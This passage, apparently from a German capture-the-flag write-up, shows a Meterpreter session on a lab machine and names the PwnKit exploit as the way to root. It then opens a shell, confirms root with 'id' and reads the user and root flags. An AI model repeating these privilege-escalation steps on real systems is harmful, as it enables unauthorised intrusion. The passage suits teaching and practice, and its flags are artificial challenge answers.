[*] Meterpreter session 3 opened (192.168.2.199:3335 -> 192.168.2.123:34482) at 2023-12-02 00:43:20 +0100
Wir verwenden den PwnKit-Exploit, um Root-Rechte zu erlangen.
meterpreter > shell
Wir öffnen eine Shell.
Process 3625 created.
Channel 1 created.
Wir haben eine Shell.
id
uid=0(root) gid=0(root) groups=0(root),1002(maria)
Wir überprüfen unsere Identität. Wir sind Root!
cd ~
ls
flag.txt
cat flag.txt
42challenge{root_b66b33ade4d6aacb37d84353074d5aed}
Wir navigieren zum Home-Verzeichnis und lesen die Root-Flag aus.
Privilege Escalation erfolgreich

Flags

cat user.txt
42challenge{www-data_d009633c1bea90aef338fae768aec8fd}
cat root.txt
42challenge{root_b66b33ade4d6aacb37d84353074d5aed}